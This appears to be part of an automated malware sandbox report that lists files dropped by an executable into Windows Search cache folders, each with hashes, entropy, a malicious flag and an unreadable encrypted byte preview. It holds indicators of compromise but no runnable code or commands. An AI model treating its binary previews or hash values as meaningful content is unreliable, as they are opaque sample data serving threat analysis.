SHA-256:	1F19E2E2671A7B13669CAF2E01DA611546C087B52446BE645141E395AE439DFE
SHA-512:	E406D2C47CDD86E34D6818EE219B3FB3F27781544B66165F7B45E45F8EE69AE3424B26EF15813C2900FFB37720AB63ABC62AEBFFD7FDD74E2B071FC22AD2CA61
Malicious:	false
Preview:	var W(b.2z"y...+k.Y.....T...Yz.E.Do.Ju#..Opl.\|s.%3..`I.#.....y(..g...\!.S.n.. ..7..f'..+.~....z.4s.K..yF.3r.....%@.........('T....dF...........(.w..\|......e..l]6.l..K...}.Fb....k..FkfQ\|..3...f....+Z.......O.......1".Y..w.p.O.'W^.T..{.f%....l...j.}J.T&..II@.1......$.4..sF.e..4..,.YQ.p..A[.......}$..T"g`....^+.s:....b.-N.,%..f.......qs..#...i..V..G..._....&...i...g...A..=}0.z.D.A9..z........Q...q.;.4..9...E.......6Lm..R........SR}.>:.P..(..CX..A~N.q..]`v....C.....l....f..0a"..V.S.}@..v.....>........_!.......N[...W...aW...(..ss..@;.....!....P..W[aF23.0..N4~...`..d6.......{.>...li.f.e..(...y........u...O.f...c...u11..z.Z#..a........J...>.....?...V.....S%.-zr$.s..,n.y>.X..+....U.Cc.^.I.\|_.5u...):....:.:0.......:.j;......~cz+^..;^+.{..{...FX.._..Z...........j}.G..<M.?.(..niJ..W....D1..G.VAA9If.f3....u.9.?...86v..4&.nE.:b+.L..=...B.#.h..J..<N..N..n..I.3".......[a....E.a%"......I...#L.yh.&5:?j.i...l.5.L.......}.......t.&A..P..qB.0..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\xIW3D5oXL8xIpGjHoiGVJS_B4mg.br[1].js

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	58122
Entropy (8bit):	7.996898544344033
Encrypted:	true
SSDEEP:	1536:LwdX5kPW8dmMpNjWy0PvjiU1EL5cQ5EA4MzSfa0wj:Li0W+X3WjjiuCDEAR0o
MD5:	1EE4ED56ECE2D72F7158C20DAC0DB106
SHA1:	B9B6035C72C405CE6656B6637A11F372F6AC0D9C
SHA-256:	F8C888A6D2194E1CB48EA44D39E51842DC9BAE2367A062C2406CBEADD5E0244D
SHA-512:	66CE2D93D0BAD5F8ECC79AA74333EA426D594A2B10AD92A56CB9FDAF2E4F7EC202264A3F88E00C0D34BD29A67D971BEDBA609BA3A03A03C6B2AE21E9C453F5BC
Malicious:	true
Preview:	var _........gZ.J%.B(......d..A..Z...J..V...8...pY.[..b._...(.\.G&9.F...>.%Va...hX...3.....:.6b..(m].y\|'. _..y...X..f~1....K...y.'~......$..+9n......!.(.E2.A.l<A....5.-...J..HP.x.=r..-..\j..QO.....}....+."s...e...D.1.S.6...i.C...9.&.UN...B.7z2j....N.7.Rw...".........M..8..F>7..Y..6&-.4..J..... ....O._.QX.8.d...u.......t...q...b...]..I..x.:...........#..A............om.....h....?...$.m.b{...($..(&...SK....J.........sE.....=..r+4.~7..O.Q...J@..>..n.4..+~.\|.&..f.X...SF.d..yn.......hZ..K...:X..F!..p..?y.rK..7......m:._[I9.....S.. ...v..+..?.E.#...B.0..m..j....V..p.<.\:....F...4...S....."......XL.W;.._}L.h.\|..]..Q.[UYl...z....>@....{6.@....0.]....l'P...K(.....[.y1../....!.Z_#.~h..>..# sg..V...."..uFE...r.S6x.Itd.B...{........k.nq._...,.hui.E.}+}-X...z^~..."X...P.3)..hz..*...Z.oS..~.m.........\O..+..L...:.M.(W......!.. .....L..v..>...C..."..(.hw.t'....R.o......P.g._..b...&...._o...?.H..$wq.O{...<>5.7....}.1...RQ........Gp-m.T..N%}......,..ve

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\yNwdh0ra_6sDoSuCVMI8Wjl58UM.br[1].js

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	95724
Entropy (8bit):	7.997993740746678
Encrypted:	true
SSDEEP:	1536:e8XDXqorfM5ncR6BR9eBz37kScNc2IVFWrTa+hMXJekuqOli9/Guk+fXu4O9K:e8r8B2mR0p7JcNlbhsJulK/Guk8XuZK
MD5:	CE9DBFE9F91B3060C45E46ABB4886980
SHA1:	80D5DD98E240FF9DE1D2E63591DC60682BC38E5D
SHA-256:	6D93DAB19F22B7A6BD11BFA9A1376BAE547FF479F4C781A484D13E52C8D04A71
SHA-512:	3E90EB1F0E5748CD0BA814A966423437E49D03B1443E34C357EB85FFB06D97B80EC659EAAFB404E1C01A18DDEFD4A6C8CFB615F4AB6E6918D25F8C6BCB402C2E
Malicious:	true
Preview:	var W..~..S'..7\Ks@..H..w..."6.P-g.5?a........@.-F.&6.1VZ..A.(....8.........D...X.g0O.....kC..,.L9i.........a...=..C..SX..N..z&.a0..x.XD@...&...x...B.:..z.......}I.4.Z..W..":.UV.aK.W1.-?.w...SE...g_Ps.NZGRq)>.Ja.M....$g....>s<.q.]W..2.c.<Y......Nuz.a........5.=.p&c....Y..u;...........`.u.g-.../4E...b......(....5.O%..ybw-.......\+..FA....p..}...9[%..`.......9..^`.!..%.z.J>....f...FR.NdIW..tq.'..T.>t.=..0.rauM;......[`..\%^eGZyXM....P=..e..;.1....qi.B.=...d.t).._..c'~.r...%cRj....T..>v....q....X...G'..^.....j..`VY`..>.....k.\|..I...5.X...,B.k...n.[.3.\|......s.\|pV~...M.......\|...bcd.qg.:.T.r..".......l..=...ph.Xa.........2)......P;...vmb0&......Z..kCfd....-.....&0../..9Y.....\..W...K8.L.E.`........M\..~_.G..........J.........."-....o..g1$...b.._.2V.97^..D...K.<s.}#...z..tB..-.=.-(.....6`.x..H...Z.kS./m.\......D[....a/%n..Z..@x2M.)..7h.!yrv...T.....%.n.v.woN.p........'.l7Xr..fWr..2...w.....RR.nn..wGCAL.#.P...S.A...&...%x...c..+...

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\2VDJ78YL\X4wIjRXDbKeGz0mzi-NAovdjKMM.br[1].js

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	70407
Entropy (8bit):	7.99721571903739
Encrypted:	true
SSDEEP:	1536:9WTXHYp3GmEfyZdzJWSCnTOZ06vqyFXgBLzXk3Lmr8OnSeu9YOFo5TaZxl7:9MYpPmyhzCn6vqyFXCPXk7mYJHYM0Tk/
MD5:	11AD024713C36E69CDFBE608436BB420
SHA1:	E22FD058CDA59837C414FC88BC0F78680B798F2B
SHA-256:	2086E99E3A79A627D811385FB6260BF6E75DF126EC3C77E91BF9BE457B225B0A
SHA-512:	E22E0CB370FEB65E9E54733D953E85D096B738FA29C2B47D4AF06AEE546AF86B0E155860698BCE1824E7CB3283C60F99D24B715C48752CD013F85709237A760D
Malicious:	true
Preview:	var _.t.....3.$15...7..%.2.Z..er).S.I..8P.ir...u....O..u..V..0...dd.X...N...]..n....6.w.....E..."D.ERL...V..L....{,0.9..j.6...O.P.<.(?....m..S........H.]m..R-..N.Gl.60`.5I1O..u......D.C`...;Z.9..Z..............oF..<.-.\|.P..x&..].Q......g.3Wa[.."..h.x.)...3..7L...-.4d.8.<....yQp>.V..X.,./.dd9i..3.!..q.St.5y.U......&..1.T..F...l.EV...0..?.S...r{..B.I.H....P.4Z\|-.r....y.c..=.TW2jdo.F..k[.Y'...#.I.n...a...im....?.'h.e+.a#..,0O..5.fX.{3A.9.#...%~.#.Fj....364..d...... .E=...IH!..=.\.X...x.v.\...Q.k..;.A+{'...QH.A.....I.K..$...8%..y.....F.U.yQ..B.#.LS-l..0a..#/.i.."......ae.AC.$s.>..4z.......l....+..^.....A~.n....7....tr.`.f.L...........!.!.S.[_..}...z.+..QN....{._$......B....[/..,.H..~....GC^...BE..Mz.......y..+{A7n......2b9.i..{E..01.p.S.Y..%z.a... .j.+......-....].;."a.Q.....K}.-..A,.$yo.......{..F.P..`....`g......jVx2y!'_.h....:)N{.M.m..Q...2....l..$....e.J{./.....R.....ge. .....RII..Y..`...s.o.....quw...;..]%72.q..S..z.O..P..w.H.".E/J.+8..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\2VDJ78YL\fpconfig.min[1].json

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	18372
Entropy (8bit):	7.990207640398269
Encrypted:	true
SSDEEP:	384:h02yY7Y4CuvRR1LMoKuH9+/eFexKW2C03OIIPszg2EU:zCCnzKT4kOOII2D
MD5:	501AA928ABE74A49BFCF744B3C62199F
SHA1:	3B989D5F860CACE617F2EEA945EC5DCA4BDB6987
SHA-256:	53ECA97E9C667C7B1BD2FB36919A0EA032EF542C68D6CABD19CA77F805EB48B1
SHA-512:	B75B5CACE87CDA99500DEA6FD848099D4472429096960B502FFD7969540CDC01FA708B09DC06496D8A0BBA6A5F28DEAA790E1544B44E215B24E84BD2ABD43929
Malicious:	true
Preview:	{"n":&....u.#6...`.J%..o.k=.#sq..H.e]G.24.}.....J..8w.d......W.:..L.....'...=w...@.$.4...$i?...hK....;eF........'t...y.Q.a..N..v.n...kW.....$.......fa.`..N'..^...I$..2.$&z.Ioz...m..7..5U;..TX.[.%1.......E..,...P.......v._F.:mP.E...p..w?ylw..........Gt.9.UeM"<..7{..XY..f8..SN..CP#.y.6....#KbX.S.k[......4..".~....x.C...k.&.dj..9T:.-...F...{.>...9.....Z...'.q................\|.k=.D.%..X.9..1L[..rW...o.............sd<(.lcVO..J.....g..(...B.h..T.?...O=..Ek[B.rY..v..bQr<..&j.......I.{S..3.h.1B....q..Tc1.9..f....c....r.n......qMF...d.+....AhT2......Z.v...j.Q....2[.i?..y`&..+6.2.}'.Ql.....E.h.-..{.W=..b...y..&}..\|V.`..f.".....H..~S }.^..+@D..W..P..g..p......aR..P...\N...3L13[..1.f.......M}2C$.6.+._.&..%p.+.0......W.R.....E...y..-...7...O..m.-x.k.J.NJW. 0Z...].^6i..C%..2..I.kY.l...w..T.@....U.-.{..\..?G.w.g...LM..W;@.......H...f...O...bO...2.^......?...hJC.P.x........6..O...kj......rX.e....@.^.Z.['Q.W9..-.....R..!.!,.k..8.@-=]D..$.H..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\2VDJ78YL\fpconfig.min[2].json

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	18381
Entropy (8bit):	7.990595144821349
Encrypted:	true
SSDEEP:	384:MUjaQsfgJR+Bu/l97/m5OnactWkgHTvW0LrCWicD0K1bt:MURCg3+B09wSWNzFvia0K5t
MD5:	30A0F4EE364E13C5E5F5864C76D17D14
SHA1:	EA481AE7CD846BF70FF112B442FEEAA456D84F76
SHA-256:	702EC2896FED5E6127EC2EC35C80EA9E767485157692CC427D316067B3DE2842
SHA-512:	67B5EEF56235F4809EE24C55F4D993E987EAE2FE71239DB86FDA8BF90933105173B8307FD2244EB8CAC8DDF132B1DDDE0F7995858D087FFE548DADA51F3622A6
Malicious:	true
Preview:	{"s":M.cI(..g.&.......?v..S..7...Xs......Q<k"&VV......'.X} ......."_.%...u..2..A..<.E.J....}.S]A.j.a2.+....2.}LM..q..... 1.#s....I.5g.4.t..>P..G. .ldi..V.<..h. ......,..uf....k.3.uF.X....VCG.c...@....@.h1K. .......fL.c7JA.../...H=.7......`."...q..]2 .[.Gn..Z...;...A...aR...".0l.nA....D'..'...%#...k...wK}./y...2.(9j....]....-.....a.b.?)....i..yw....5>..>..........i[..?c....`G...u.x8t.Q;x....r-.q...3..m.U....X.z'.6..%o.e.Hv.ed.....]...z.1.KI.1...}x.....E.1...+....o2.>...fo.O......3v'Nc.~E.zN.c....:{..iT.....&#J....+<....~Q....n..D..r.x.F....x.$ ..z.MuU:...c.....j....$F0.=V_...4.v.....K..5.4OQ.2.....n{.Y..~.@`.v...H......?X....&G}....F.V.b....R.vi..]..~..\.".C.1.Wh..j......v...Z.......2.....E.K.......AG1..l......x..EK..p...p.\|/W.j..,..G..h\~.fM..E]..y.......OcL.1.9!.'...lu.z....r.(..X&P.....Tg.F.........>.......SI._o..P0F&Q...(...."IG.....s._q,q.i.C.OJ..........C....R......r.a'...?.`....CUi...........y.9./.?..\|.AN..y)....._C../<...

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\2VDJ78YL\th[1].png

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	18831
Entropy (8bit):	7.990921901292596
Encrypted:	true
SSDEEP:	384:D10M5yajJz+C0g0gjwHy4FRhtJxjGjZT3iKmQrHRMf:D1F55lnxxUy4FRhwjZTSKmz
MD5:	BF61AE24D0F779C7232EA88CD1DC3064
SHA1:	D2134E45596601A1F2EE56FB6FA6D78CC10F79BA
SHA-256:	DFC270B1BA5F5882FC4C9827CB5D5456F20B4CA699FC74CC345F9FFD0F24224A
SHA-512:	83AC14A9590651DB2C4613E794E5044536E4563447070FDD1C7DA2CA992BD5E83130C9467F60990ECAC15F1AE45641D38646B1BE818821D4468E90E4D97AD618
Malicious:	true
Preview:	.PNG.j.e.r.........p.......M..De.j`.....2.MY...../...?.U.A5..y.%v...i....'%.M.....g....pk......a.-r.;..'.g...A...r.x....I..X..K:..T.9..C-.{i..5.'......O..gz.,....T...{/..10c....3Y..O.y..u_7B.R....%l..Ln....Z.^......f..~....(yU.@.2.@..O.7.....:.]..?....Y.T..6.{.N.I~...E.$..6p.V...qA..<.J>.d....;0.......XG...l..Ft&....K....^K~~._>.z.B.U+.r.B.'.............~..OK(..K....]H...5..........$..8(..S.N.......]..$...T..s<D....:.\..f.........h..F...1Op.-..P;.....J.w..._.GY..#.Uz.u..,^....../..d..3.<c..?..zp.%h..Yo7m,.L..M....".....JboxB..q{....QD..j.u^fo.[...d:.....F..Z.......Qy.%Lv...ba.:.^..G8A0..kj..8.E...].....+m.,.q0.$.=-.....%H......8E.BqSg..k..v.SD4...vdH&.....<Y..F.{..uy.h...Mm...0BX.SA.;...8.T............m%...+@..j#.1$w..T.R"..(p.>.....;..Zt...?...$iE.\.i.._.Y..Uk...d...U/......?.g...#.....b':.~..Q.c..Y}...e...]yj;.P..i....d..36....?..y...<.Aj05.9..c.....8(<..........r..bA..-....V...]..\.&3L.3..z..K.y..".3\|.7.mE.u..zl..m.w.....X

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\2VDJ78YL\th[1].svg

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	28813
Entropy (8bit):	7.993588958557365
Encrypted:	true
SSDEEP:	384:RnQgvkETYvablifm+xb0u6GoXmXByvH1IMmWn7c30ojBMfl7VFhDsdNAzrafr+sl:pQZEMSblifr1ovVIM/Q34pFqAXaf7tAa
MD5:	7ED261804E7B0AC0A0204246F11240BC
SHA1:	84B08D937CCC86E88016DD9F31D0051274B13150
SHA-256:	010FD8D2AB8CF383AD42AC925A24AA616724E427754BC5183C2395169A50589D
SHA-512:	9A659F2CB6047A93CC23AD1D0835D842D10DB1EFBC9C8CE316E177E24065448B302FB9A803F364CA4AD976D315ECEC09DD8D75764F8FB748F9067AB4E2DB4598
Malicious:	true
Preview:	<svg .t.......;..n.g...2.>..`s..W9.tF.i.... ...^...@.rN......^.z?.1p47........i...t%.?.."....M.h..)..A...X+.D.e8&.C.._4E.Zi.......#...@.,..R........{...A.0..SI.....t.Ky..+.}.8..I-m..j.c~.Q.Ig.....}.....y.(>%`U.-#.-..bi......0/..A...ry.....j.."..T.....Q..m..c....0x?....~.!.I.m.0(F.....iK.%5...z...y.......&TV.,Qi./.H....V...\|.z.,..r.......".......Xz....{..-..%..1.VN..DqF...^....D.\#..h.A....9...Q.>....-}.)\...\....~P..-7..!...W...'...;'\......X.{.B....?m.<iY...}&I..(..Ra".....a.....Y.d...^....>"3.....x.Ug...G..HR..;i..G..l.[..k.._A...L..d..h.e.....C6N...{.'..J......2.....7.?...c5r.\|c.$'W9Q.{".X.K....g...[..~.+..L."e[..L.;)....,.\Q.C....-."I'/..6~..~.\|q.s.....#"...w..Z...;q....;..d...zu.F.)@Q.^..D.kV....s9.FQt..R.:c7}^X1.....m...F<..7...<.....N.cC..T..s....@Oe......._....m...^..LPd7.....;H.D...V\|....8I..o=gu2p.NG5.LTU...<Q...3:u.....;.......Vl...b..Q..b.J.~T..3..i$.b...F...3YS..}............8e.Y.uJ..%..#yu.a{G}....C.sWp>..../...-.s.x.M>%..1l8y>f

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\2VDJ78YL\th[2].png

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	21870
Entropy (8bit):	7.991788938160886
Encrypted:	true
SSDEEP:	384:Gkeba/ilQvZO2E937AQgT2FkRxlWnFr4nk1phNFLi0/U9tJBnwh6o74Ug7cI:GvMZO2EVEf2FkdWnFr7x/Gr9dRocQI
MD5:	2F17A51C5C61682E816C1D031C79BFF9
SHA1:	CF78481CFFE6A2E3A4D6BEB68E66438E3402F791
SHA-256:	1815B7ECD50525A10BF56D52F540D595BC0ACF99E74189581F7564E3009918B6
SHA-512:	436FB4EBF9C705ADC76D8647D63C17DD0D727BE479C795745A1D987E3002021096CAD45BAF2C427063705EB2DA4E5D8E4BDE9FEE279458B5A4545B628E67A409
Malicious:	true
Preview:	.PNG..8.I.)J..........D..4.+.xZLq^.b.<.t^.M-3.....szR..Z.Nva.P@w......cp...}..._<i.$za..{.J>..[...U...s+>.02K..nX.S7...c...I............3t.+..h..I.<5......w.N.9Ug..d._....\|...Ns]@.-.$.......k...-F.p..RA..MD..0FZ$.....Iw..-.9e{#%3..0...f... ...S....ku@.D...W.4:...b..6q.M.G..y2k{w..)....-t.".....T..a.K.o..D.F.e...9...!.0..$...[...i.8H..8V. .p..6.ayJ..b.....q.ha.....9{>M>T...U.B.y..^H.),...('?. .@.....'v....s:+.}..3._.8.d.....&J.G...#..5..g..4%d@.:......mQ..h.>3X...<z..(...9..\...;.-.Py..U3..~2.o.cfw..K}O...T@J..g.U.f.}\|.:..u.....:H..t...r6S..n..3...~7.9...M!#.a...u.5/<H.(b....X.6..MG. .>5.\o..y..0\.T........K..~$..........!J.}{.:..9.+.0LA...v.!;..4A...."/?3..+./l/m.%6H..r..R.....k..96:J......g..,.Q.ME{.5.....z....W.n..5..iC;.4d=......P....z.HP..ay.i/....A..q..K...>..&.Ta.'my.._$.^"#..../..jD.k....)....E.?h.b_~....4q^.c...i.j..Q*3R.4a....tK7.o,.s6....t..-..:.w"D..I}v...\|..@..n....'......y...Z.....$..S..........%...TQG..1@..i....

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\2WSRMOS6\th[1].png

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	18845
Entropy (8bit):	7.990507805375898
Encrypted:	true
SSDEEP:	384:HQOpbLkfmLNnh9uIgDUYIdiw5pip6Cgaut+EVXuu7N1/sIBkwN66:HZf1LnV+U9dFapxgau3N1/sIBn86
MD5:	5A27E14765082BD3204FA7F1D02C02D6
SHA1:	5CE55D047201A88DD15BDE48FB6D1D4F21FBF766
SHA-256:	272A0075A44F40DFBB460CB636E394934A18020F1FE19D634F67CDFDE710FBE7
SHA-512:	F4F438057A2CC3DACDB373E8EA841BC3E03E994DB3D339596B3A2EEA73CB95F8708471A890B15947DA9F4F541ED60F40B9C1EAC41395C82DBB0B01A4C48EB637
Malicious:	true
Preview:	.PNG.... .T...a_Z..{6...=r{.\P.......m.P.@......i.Ho.V&..~j84..v.........S4........y...Vr..S.S.YI..Ep..e.LYp)..@.9.f`.(.Y.3]..;XN.....n.....\l1U......,xs...c......1..D.....\.....L...PR].X{.1......k.R......&.P...><YV.Z.0"X..F.......M..?.......?e@$m.v.X7.6Iy.K.G....L.N...m.....uC...,^...-...w..d..^......F?....{.C.;..K.F..!.l....D`......:..{.H)5.._.o.............Os"%..K..PU..............'......<7.p..F..D....P.BuL.p....q..4n...>.....r.v..\y....I...~..N./.l...l}...j.%..g...2...Z.z..q['..!...~.3V->..._.A...)"....j.B.....C:..Z...M/....qq......j.q...m5n..EWQ#g...z?JV.G#Rj..Y.yA.....n...+Y~.Q...T.l.1...9....QWx.....wzs.R.8..&.gwqZh..Z.R.J...Q.\|.B...Q..xA..Z...V.$F.. ..$...'.X..ki.l..#.).......X.../...5.Pn.2..:.......f.]Q....6fq.........m....k.....3n..`m.....t..?...Ax.>.....J..b]`..K.2..sv.v.a....Wk..$].<.>..J.7.........x..qsc..1.....P.,h...oJ.T.....!.Z-.n$.......W.........R.&A.\lI...eO)....V....9s..i.p..'...H.................E.a...a.)..........

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\2WSRMOS6\th[1].svg

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	28781
Entropy (8bit):	7.993267412798734
Encrypted:	true
SSDEEP:	768:aUwe2D45R4odEusWTSmZRM8Gl33vS+f2EmXlMfqRyGadWe:0PDYgusWT7ZC8GlFf2li8yGaR
MD5:	91FE10FBA73AA9694305B48319CE6591
SHA1:	08955074213326B990F3C021A2BE5B1EBE200AC6
SHA-256:	73B249AEC077A16DF74771C77482528B4FBD8B69D313952B90769F5024C46299
SHA-512:	66A754FD85F1445C6C21CED47D77BB05B7359BEDD530EE9740320A1E248A78400F299CD8D2C4EB7F57499D45A06237B0DC072016720807DE4F518ECD4B73A77B
Malicious:	true
Preview:	<svg ....p@0...De.w.......-....V5.5Gm..5......-.......w.?.5^.xH.+..@....v...'-.$g..0.h8-........r-k.\|=.....f%3...4~.......\|.xF3}=....<I`./L.37u...../..zw.....g......C...$7...nC)jMf...(.).A..>.`...'.....m8.......#./>.A...A.:\.......;.UI...)W.. .Z.....G..F9.0.zC.E.z#3^..a.?.k................s......K..:.!.b.....".tv<.L.;.../}........-p..2.....4.....M_.f.2F..".....-.........7.44...M.....$...zy...."I.\|).Uea..t\|FD#.^.m@..^.>.m.).......-...Yb+#Er.HB~.B...i..=..G.y.4..7.l..9z."'....~.....?.G.>tS....W..9..3..5........Fb.B....j.f...I..b....Jx...(....m......LBM..fH+..q2....m.H...[U.r\..}.!x....]....w+A.......p.l.0........C@A/..#.........\|o.KM..M.w....g.5.g......+.U../.-@....5.R..0~...<E.....c...g-Q.....I..D.U2....j..}..m".8v..P.3.+.....<...Ty..9.....1....5...(j..o...a..3.8.d....% ...i......x..s.t^..=K.\|X!.....R..`[_<.....)..xfp.....l...C.K=.......6...'b]{.14(.-.T'g..b......(]..2.Q..P...O$.....,9..nD1...P.iC..u..8..%K.z...7>.hM.".:....ob..P..7g...$....4..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\2WSRMOS6\th[2].svg

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1988
Entropy (8bit):	7.907884626046043
Encrypted:	false
SSDEEP:	48:4AFHNBX5/YafhK2EQCgRkbStP0Nwb6ZZOS+drl9aD:PrhbHC70P0j2SWE
MD5:	DA4FB3E0537C636481E4F1557F688118
SHA1:	E0CDE48D3A4EC7F5A12D534EFCF18AB311BF1C8A
SHA-256:	7FC66F3128DF56E4A855488FCFE70997ABD8779C1F07D25DAE2DCE57C8BBB9FD
SHA-512:	1EEA85CB16C1205A19E71B03893000AC54D94C7C3363D219DAD635E327442D32E07D4E743B5833DD727B832EFAD15C19F5EFDC54E20F8A2354E1B2E665D225B8
Malicious:	false
Preview:	<svg ru.a2.A...7yFE....p..a......"..-..&P?...4...0...;~.a.....u....'.)]i..c....s...:]0........6....OK\.Z.'.I...'z.q...k.B...fk@zy<f...@.Q.....R.>.U...D+....4.;.].y~.M.h{.ie..l.mA.......n.^4.....Hu.z......4..q.FcC....~'"r.:I.f...f.e..c .6u.B.![.R.2....U.."..nS.{{e......?........M.CQ`H.3B.;j.Q[h. .T.0S.O.ySie.?.....fA6.2h.NO.J.l .\(F..&!..W.K..s.z..s....(*.Z.Df.....~.....{M7..C..kt../...v...++.N.....8..{.=..m$^..~.......r.....cS...Y/R....\|+"c]...i9....V{.Z9..\|...U.}.?......Y..&f^=..m..h...8..{.%a..../+#.U.z.!...Y.d:.......o`c..Y<."..\S.......Z.V..7..._.....K.X..9..Ad.}A...n..C@...{......^..?..rPl.+..k.....g1D.......t.X.gr.`.R\..Q/.Hf>..@..>=.'.A9..I.i....3E..........N..73...........A....x... _].Mf.X..>X..b..d!.z..1gA..y.......S.6.p7h.b,55......L..Ig.n.6..._....h...$'{s.+......Z.,.`..\|..!.HON} ..M..F.hq..$..{.J:..Se.O..o.).1.U..+..lG......n...o.L7.5)>&.h.N7q?.p.&...s..XYw.[;.>....1HCZ.r..F...L.\|!)..QC xd..>.:.....K..&..!..u.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\2WSRMOS6\trans[1].gif

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	GIF image data 18280 x
Category:	dropped
Size (bytes):	377
Entropy (8bit):	7.412622910924134
Encrypted:	false
SSDEEP:	6:g6cpfwwpCfL7/gkAXxwfYlRvWSUa4OZIpKE6x/wAwQ/dsrLkOSlwMInIS1WdNciD:8BPUIkAXqeapB6+Aj/KwO3M5SUdNciik
MD5:	83C3782C0C073E3D09D6BB2DF553E622
SHA1:	11348B16319995931043F69743A7EB2E58BDEA2B
SHA-256:	7D3DE0370CFF0DA18EF9B4AE2AF4E0A84B749E49550A4FC42F14FF488D1A6D3A
SHA-512:	9E200B27CE47C6E9752648CED9B96DF9282677DA10976877240DCDA6E7ACC3CDC21F1B9D93C0D29313A3D77B065D1C930F394A9B084A8EEFF4C8CAE69D1350D5
Malicious:	false
Preview:	GIF89>hG8..........p..X...[...epg/),.3..J..,e...x.AY..FR...d............z>.R.]S+.K....,...C..TU.J.^............Q.-\|..........-.f..vWj.8.-.K......?...1.!...o........a..r.C.....\|....M.....}..-=.p.E...5..!..L_F+.....K...k.x,..'.K...;.{......(.z..19..I)....BA..x...<.&...2.@."#.j.^$..mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\2WSRMOS6\trans[2].gif

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	GIF image data 1455 x
Category:	dropped
Size (bytes):	377
Entropy (8bit):	7.338915468008581
Encrypted:	false
SSDEEP:	6:060gCQcoGsAKtA+PZsTaIWO54GXSHeVxyAlFJGsFHJk20jdABnIS1WdNcii96Z:06ZCQco7XZhsNWrnHYxZlFJG2kKSSUdV
MD5:	81A8E602129C58EEE4FA5673329BD780
SHA1:	43069F8DC43F5B06690D269A123556CA9134BCA0
SHA-256:	6EE1040D4DD3AA881A840566AECAEB3694DD5E59529122149C8073A77D6AC0BE
SHA-512:	7C90B1AAC172D9D0933E06B84F4DAC3518D5D9AFF32747D99B860920662C20D50FC2F4E14BC10C7D7255057FA455E77F0DE819F23CB9A567B3ED813286DE0092
Malicious:	false
Preview:	GIF89?....o.Q.'....L.h..g....L.6......Z.k.^..].B`.\|...E..`..v. '.}.........?........D..gd..Rt-[,1.I..[.+.....S...=..=...0..e..?d..c....E.,G.....6.....-,..03..7s...oy..8.y..y..&js.k.8^'......nzoI.7...3..a(......."........~..w.5p.b.W....eMsO^.p\|%../.O.p..f[.yVlk.!..G%..q2.e.l.._.SFP_..]..emMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\2WSRMOS6\trans[3].gif

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	GIF image data
Category:	dropped
Size (bytes):	377
Entropy (8bit):	7.376549114222602
Encrypted:	false
SSDEEP:	6:BnaxxukJz8qH8x4n0/ZMKsnIu1wUOwmClY4m7h/sx7k7pRo0A7sswDqlnIS1WdNX:BnaiqH8xiCuIu1wUfmClYft/n7/BeNwL
MD5:	5962DAAE78BB56EE460754E9C249F26C
SHA1:	158F97D3A2871C5FF780BC2C282653D4FE4C8997
SHA-256:	51B40073AD50C504FDAAA81D98A90EAC651785664D4FE7924083C5ED38997BFC
SHA-512:	2B0B7A95375A4C1DD851C22BE67F691D1B218256455BE3C80A3342AC17AFB93A009DC170B1FC9267D6CAA381456366875CB7BF9015129FD315D4C5C4696E4752
Malicious:	false
